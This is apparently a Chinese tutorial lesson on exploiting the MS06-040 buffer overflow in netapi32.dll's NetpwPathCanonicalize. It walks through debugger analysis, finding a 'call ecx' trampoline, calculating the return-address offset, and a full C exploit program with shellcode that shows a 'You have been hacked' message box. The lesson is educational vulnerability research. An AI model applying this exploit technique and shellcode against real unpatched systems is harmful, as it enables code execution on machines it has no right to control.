zoukankan      html  css  js  c++  java
  • 缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

    前言

            经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。

     

    编写漏洞利用程序的框架

            这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:

    1. #include <windows.h>  
    2. typedef void (*MYPROC)(LPTSTR, ...);  
    3.   
    4. int main()  
    5. {  
    6.         char Str[0x320];  
    7.     char lpWideCharStr[0x440];  
    8.     int  arg_8 = 0x440;  
    9.     char Source[0x100];  
    10.     long arg_10 = 44;  
    11.       
    12.     HINSTANCE LibHandle;  
    13.     MYPROC Func;  
    14.     char DllName[] = "./netapi32.dll";  
    15.       
    16.     LibHandle = LoadLibrary(DllName);  
    17.     if( LibHandle == NULL)  
    18.     {  
    19.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    20.         FreeLibrary(LibHandle);  
    21.     }  
    22.       
    23.     Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");  
    24.     if ( Func == NULL )  
    25.     {  
    26.         MessageBox(0, "Can't Load Function Address!""Warning", 0);  
    27.         FreeLibrary(LibHandle);  
    28.     }  
    29.   
    30.         memset(Str, 0, sizeof(Str));  
    31.     memset(Str, 'a'sizeof(Str)-2);  
    32.     memset(Source, 0, sizeof(Source));  
    33.     memset(Source, 'b'sizeof(Source)-2);  
    34.   
    35.     (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);  
    36.   
    37.         FreeLibrary(LibHandle);  
    38.     return 0;  
    39. }  
            程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:


    图1

            由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。

     

    动态调试漏洞

            我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:


    图2

            可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:


    图3

            可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:


    图4

            结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:


    图5

            那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:


    图6

            由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:


    图7

            可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“”,接着来到了第二个字符串拷贝的位置:


    图8

            这里将长串字符“a”连接在了“”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:


    图9

            此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。

     

    获取CALL ECX地址

            我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:

    1. #include <windows.h>  
    2. #include <stdio.h>  
    3. #include <stdlib.h>  
    4. #define DLL_NAME "./netapi32.dll"  
    5.   
    6. int main()  
    7. {  
    8.         BYTE *ptr;  
    9.         int position,address;  
    10.         HINSTANCE handle;  
    11.         BOOL done_flag = FALSE;  
    12.         handle = LoadLibrary(DLL_NAME);  
    13.         if(!handle)  
    14.         {  
    15.                 printf("load dll error!");  
    16.                 exit(0);  
    17.         }  
    18.         ptr = (BYTE*)handle;  
    19.   
    20.         for(position = 0; !done_flag; position++)  
    21.         {  
    22.                 try  
    23.                 {  
    24.                         if(ptr[position]==0xFF && ptr[position+1]==0xD1)  
    25.                         {  
    26.                                 int address = (int)ptr + position;  
    27.                                 printf("OPCODE found at 0x%x ", address);  
    28.                         }  
    29.                 }  
    30.                 catch(...)  
    31.                 {  
    32.                         int address = (int)ptr + position;  
    33.                         printf("END OF 0x%x ", address);  
    34.                         done_flag = true;  
    35.                 }  
    36.         }  
    37.         getchar();  
    38.         return 0;  
    39. }  
            结果如下:


    图10

            依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。

     

    完成漏洞利用程序

            于是可以将之前的框架程序修改为:

    1. #include <windows.h>  
    2. typedef void (*MYPROC)(LPTSTR, ...);  
    3.   
    4. char ShellCode[] =   
    5.               "x33xDB"                          // xor ebx,ebx  
    6.               "xB7x06"                          // mov bh,6  
    7.               "x2BxE3"                          // sub esp,ebx  
    8.               "x33xDB"                          // xor ebx,ebx  
    9.               "x53"                              // push ebx  
    10.               "x68x69x6Ex67x20"  
    11.               "x68x57x61x72x6E"              // push "Warning"  
    12.               "x8BxC4"                          // mov eax,esp  
    13.               "x53"                              // push ebx  
    14.               "x68x2Ex29x20x20"  
    15.               "x68x20x4Ax2Ex59"  
    16.               "x68x21x28x62x79"  
    17.               "x68x63x6Bx65x64"  
    18.               "x68x6Ex20x68x61"  
    19.               "x68x20x62x65x65"  
    20.               "x68x68x61x76x65"  
    21.               "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"  
    22.               "x8BxCC"                           // mov ecx,esp  
    23.               "x53"                               // push ebx  
    24.               "x50"                               // push eax  
    25.               "x51"                               // push ecx  
    26.               "x53"                               // push ebx  
    27.               "xB8xeax07xd5x77"                 
    28.               "xFFxD0"                           // call MessageBox  
    29.                           "x53"  
    30.                           "xB8xFAxCAx81x7C"  
    31.                           "xFFxD0" ;                          // call ExitProcess             
    32.   
    33. int main()  
    34. {  
    35.         char Str[0x320];  
    36.     char lpWideCharStr[0x440];  
    37.     int  arg_8 = 0x440;  
    38.     char Source[0x100];  
    39.     long arg_10 = 44;  
    40.       
    41.     HINSTANCE LibHandle;  
    42.     MYPROC Func;  
    43.     char DllName[] = "./netapi32.dll";  
    44.   
    45.     LoadLibrary("user32.dll");  
    46.       
    47.     LibHandle = LoadLibrary(DllName);  
    48.     if( LibHandle == NULL)  
    49.     {  
    50.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    51.         FreeLibrary(LibHandle);  
    52.     }  
    53.       
    54.     Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");  
    55.     if ( Func == NULL )  
    56.     {  
    57.         MessageBox(0, "Can't Load Function Address!""Warning", 0);  
    58.         FreeLibrary(LibHandle);  
    59.     }  
    60.   
    61.         memset(Str, 0, sizeof(Str));  
    62.     memset(Str, 'a'sizeof(Str)-2);  
    63.     memset(Source, 0, sizeof(Source));  
    64.     memset(Source, 'b'sizeof(Source)-2);  
    65.     memcpy(Source, ShellCode, sizeof(ShellCode));  
    66.   
    67.     Str[0x318] = 0xF9;  
    68.     Str[0x319] = 0x52;  
    69.     Str[0x31A] = 0x18;  
    70.     Str[0x31B] = 0x75;  
    71.   
    72.     (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);  
    73.   
    74.         FreeLibrary(LibHandle);  
    75.     return 0;  
    76. }  
            运行结果如下:


    图11

            可见我们已经成功地利用了这个漏洞。

     

    小结

            由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。
  • 相关阅读:
    python中普通函数调用协程
    python骚操作之内建方法的使用
    Python常量类
    python实用技巧之任务切分
    容易被忽视的python装饰器的特性
    C语言学习笔记
    python mongo存在插入不存在更新,同时指定如果不存在才插入的字段
    python使用ThreadPoolExecutor每秒并发5个
    mac使用crawlab
    线性表的顺序存储结构
  • 原文地址:https://www.cnblogs.com/csnd/p/11785763.html
Copyright © 2011-2022 走看看